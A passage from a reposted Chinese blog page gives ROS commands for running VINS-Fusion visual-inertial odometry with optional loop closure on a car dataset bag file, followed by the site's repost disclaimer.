YOUR_DATASET_FOLDER.Open four terminals, run vins odometry, visual loop closure(optional), rviz and play the bag file respectively. Green path is VIO odometry; red path is odometry under visual loop closure.roslaunch vins vins_rviz.launchrosrun vins vins_node ~/catkin_ws/src/VINS-Fusion/config/vi_car/vi_car.yaml (optional) rosrun loop_fusion loop_fusion_node ~/catkin_ws/src/VINS-Fusion/config/vi_car/vi_car.yaml rosbag play YOUR_DATASET_FOLDER/car.bag 本篇文章为转载内容。原文链接：https://blog.csdn.net/slzlincent/article/details/104364909。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。